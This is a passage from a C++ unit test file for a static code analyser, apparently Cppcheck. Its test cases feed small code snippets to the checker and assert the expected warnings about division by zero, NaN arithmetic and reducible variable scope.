[zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n 